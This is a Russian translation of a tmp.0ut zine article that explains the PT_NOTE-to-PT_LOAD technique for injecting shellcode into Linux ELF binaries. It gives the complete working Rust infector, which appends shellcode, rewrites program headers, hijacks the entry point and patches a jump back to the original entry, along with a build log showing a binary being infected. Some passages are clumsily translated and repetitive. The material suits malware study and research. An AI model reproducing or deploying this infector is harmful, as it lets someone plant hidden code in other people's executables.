\_______________________________________________________________________/ o_/_________________________________________________________________________\_o | | ___________ __ | | | | \__ ___/____ ______ ____ __ ___/ |_ | | | | | | / \\____ \ / _ \| | \ __\ | | | | | || Y Y \ |_> > ( <_> ) | /| | | | | | |____||__|_| / __/ /\ \____/|____/ |__| | | | | \/|__| \/ | | | | | | | | ::: PT_NOTE->PT_LOAD ELF инъектор (на Rust) ::: | | | | `- с любовью от d3npa и tmp.0ut <3 | | | | [ перевод @IamAlwaysAngry Captain ] | | +------------------------------------------------------------------------------ | Японская версия на Github / 日本語版はGithubにてご覧できます | https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector +------------------------------------------------------------------------------ Я прочитал в блоге SymbolCrash о технике внедрения shellcode в двоичный файл ELF путем преобразования PT_NOTE в заголовках программы в PT_LOAD. Я подумал, что это звучит интересно, и я мало что знал о ELF, поэтому я воспользовался этим как возможностью узнать много нового сразу. Для этого проекта я создал небольшую, еще не законченную библиотеку, назвал её mental_elf, которая упрощает парсинг и запись метаданных ELF. Я думаю код библиотеки очень прост и понятен, поэтому я не буду вдаваться в подробности здесь. ====[ обзор ]=============================================================== Как следует из названия, этот метод заражения включает преобразование Отредактируйте заголовок программы ELF и замените PT_NOTE на PT_LOAD для запуска shellcode. Инфекция будет в три этапа: - Добавьте shellcode в конец файла ELF - Загрузите shellcode по указанному адресу в виртуальной памяти - Перепишите точку входа ELF на указаный выше адрес так, чтобы shellcode выполнялся первым Shellcode также должен быть пропатчен для каждого ELF, чтобы он возвращался к исходной точке входа хоста ELF, позволяя хосту нормально работать после завершения shellcode. Когда shellcode завершит обработку, передайте обработку исходной точке входа, сгенерируйте инструкции "прыжка назад" из исходной точки входа и исправьте shellcode. Shellcode добавленый в конец ELF, может быть загружен в виртуальную память через заголовок PT_LOAD. Вставка нового заголовка программы в файл ELF, скорее всего, сломает многие смещения по всему двоичному файлу, поэтому, можно заменить существующий заголовок PT_NOTE, изменить и PT_LOAD, не нарушая смещения PT_NOTE. Менять PT_LOAD, чтобы вспомогательные файлы не менялясь. Вот примечание об Note Section в ELF Specification: +-------------------------------------------------------------------------- | Информация о примечании не является обязательной. Наличие информации | примечания не влияет на соответствие программы ABI, при условии, | что эта информация не влияет на поведение программы при ее выполнении. | В противном случае программа не соответствует ABI и имеет неопределенное | поведение +-------------------------------------------------------------------------- У этого метода есть два недостатка: - Эта реализация не поддерживает PIE (Position Independent Execution) ELF. - Среда выполнения языка Go фактически ожидает допустимый раздел PT_NOTE для проверки информации о версии для запуска, поэтому этот метод не может использоваться с двоичными файлами Go. Примечание: PIE - это `-no-pie` для cc и `-C relocation-model = static` для rustc. Его можно отключить с помощью параметра компилятора. ====[ shellcode ]============================================================== Предоставляемый shellcode написан для Netwide ASseMbler (NASM). Обязательно установите `nasm` перед запуском Makefile! Чтобы создать shellcode, подходящий для этой инъекции, есть несколько вещей о которых стоить помнить. В разделе 3.4.1 спецификации AMD64 System V ABI говорится: перед входом в регистры rbp, rsp и rdx должны быть установлены правильные значения, просто поместите эти регистры в начало shellcode. Все, что вам нужно сделать, это push и pop. Не трогай rbp, rsp в своем shellcode, но в конце rdx возвращается в ноль. Shellcode также необходимо пропатчить, чтобы он действительно мог "прыгнуть назад" к исходной точке входа хоста, после завершения. Чтобы упростить исправление, Shellcode может быть спроектирован так, чтобы запускаться с конца файла, либо написанные сверху-вниз или "прыжок" к пустой метке в конце: +-------------------------------------------------------------------------- | main_tasks: | ; ... | jmp finish | other_tasks: | ; ... | finish: +-------------------------------------------------------------------------- При такой конструкции исправление так же просто, как добавление инструкции перехода. Однако в x86_64 jmp не может принимать 64-битный операнд - вместо этого адресат сохраняется в rax, а затем создается jmp rax. Этот фрагмент ржавчины(rust) исправляет байт-вектор "shellcode" для добавления перехода к entry_point: +-------------------------------------------------------------------------- | fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) { | // Сохраняем entry_point в rax | shellcode.extend_from_slice(&[0x48u8, 0xb8u8]); | shellcode.extend_from_slice(&entry_point.to_ne_bytes()); | // Переход к адресу в rax | shellcode.extend_from_slice(&[0xffu8, 0xe0u8]); | } +-------------------------------------------------------------------------- ====[ infector ]=============================================================== Сам инфектор находится в src / main.rs. Он написан в удобном для понимания формате. Все, что вам нужно сделать, это прочитать этот файл сверху вниз. Я также добавил комментарии, чтобы помочь. Код использует мою библиотеку mental_elf, чтобы абстрагироваться от деталей чтения и записи файла, так легче понять технику. Таким образом, код - Принимает 2 параметра интерфейса командной строки: цель ELF и файл shellcode - Читает заголовки ELF и Program из файла ELF - Исправляет shellcode с помощью `jmp` к исходной точке входа - Добавляет исправленный shellcode в ELF - Находит заголовок программы `PT_NOTE` и преобразует его в` PT_LOAD` - Изменяет точку входа ELF на начало shellcode - Сохраняет измененные структуры заголовков обратно в файл ELF При запуске зараженного файла ELF загрузчик ELF отобразит несколько разделов. Файл ELF в виртуальную память - наш упакованный PT_LOAD гарантирует, что наш шелл загружен и исполняется. Затем точка входа ELF запускает выполнение шелла, исполняемый файл. Затем точка входа ELF запускает выполнение шелла. Затем шелл заканчивается, затем он переходит к исходной точке входа, позволяя двоичному файлу выполнить свой исходный код. +-------------------------------------------------------------------------- | $ make | cd files && make && cd .. | make[1]: Entering directory '/.../files' | rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs | nasm -o shellcode.o shellcode.s | make[1]: Leaving directory '/.../files' | cargo run --release files/target files/shellcode.o | Compiling mental_elf v0.1.0 (https://github.com/d3npa/mental-elf#0355d2d3) | Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...) | Finished release [optimized] target(s) in 1.15s | Running `target/release/ptnote-to-ptload-elf-injection files/target files/shellcode.o` | Found PT_NOTE section; converting to PT_LOAD | echo 'Done! Run target with: `./files/target`' | Done! Run target with: `./files/target` | $ ./files/target | dont tell anyone im here | hello world! | $ +-------------------------------------------------------------------------- ====[ P.S. ]================================================================ Это был такой веселый проект! Я так много узнал о Rust, ELF и вирусах в основном. Спасибо netspooky, sblip, TMZ и другим на tmp.out за обучение, помогали мне отлаживать и мотивировали меня заниматься этим проектом <3 Дополнительные ссылки: - https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/ - http://www.skyfree.org/linux/references/ELF_Format.pdf - https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf - https://github.com/d3npa/mental-elf Исходный код ниже: ------------------------------------------------------------------------------ Cargo.toml ------------------------------------------------------------------------------ [package] ... [dependencies.mental_elf] git = "https://github.com/d3npa/mental-elf" rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b" ------------------------------------------------------------------------------ main.rs ------------------------------------------------------------------------------ use mental_elf::elf64::constants::*; use std::{env, fs, process}; use std::io::prelude::*; use std::io::SeekFrom; fn main() -> Result<(), Box<dyn std::error::Error>> { let args: Vec<String> = env::args().collect(); if args.len() != 3 { eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]); process::exit(1); } let elf_path = &args[1]; let sc_path = &args[2]; // Открываем целевой ELF-файл с разрешениями RW let mut elf_fd = fs::OpenOptions::new() .read(true) .write(true) .open(&elf_path)?; // Загружаем шеллкод из файла let mut shellcode: Vec<u8> = fs::read(&sc_path)?; // Разбираем ELF и заголовки программ let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?; let mut program_headers = mental_elf::read_elf64_program_headers( &mut elf_fd, elf_header.e_phoff, elf_header.e_phnum, )?; // Исправляем шелл-код для перехода к исходной точке входа после завершения patch_jump(&mut shellcode, elf_header.e_entry); // Добавляем шелл-код в самый конец целевого ELF elf_fd.seek(SeekFrom::End(0))?; elf_fd.write(&shellcode)?; // Вычислить смещения, используемые для исправления заголовков ELF // и программ let sc_len = shellcode.len() as u64; let file_offset = elf_fd.metadata()?.len() - sc_len; let memory_offset = 0xc00000000 + file_offset; // Ищем секцию PT_NOTE for phdr in &mut program_headers { if phdr.p_type == PT_NOTE { // Преобразование в раздел PT_LOAD со значениями для загрузки // шеллкода println!("Found PT_NOTE section; converting to PT_LOAD"); phdr.p_type = PT_LOAD; phdr.p_flags = PF_R | PF_X; phdr.p_offset = file_offset; phdr.p_vaddr = memory_offset; phdr.p_memsz += sc_len as u64; phdr.p_filesz += sc_len as u64; // Исправляем заголовок ELF, чтобы он начинался с шеллкода elf_header.e_entry = memory_offset; break; } } // Фиксировать изменения в программе и заголовках ELF mental_elf::write_elf64_program_headers( &mut elf_fd, elf_header.e_phoff, elf_header.e_phnum, program_headers, )?; mental_elf::write_elf64_header(&mut elf_fd, elf_header)?; Ok(()) } fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) { // Сохраняем entry_point в rax shellcode.extend_from_slice(&[0x48u8, 0xb8u8]); shellcode.extend_from_slice(&entry_point.to_ne_bytes()); // Переход к адресу в rax shellcode.extend_from_slice(&[0xffu8, 0xe0u8]); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------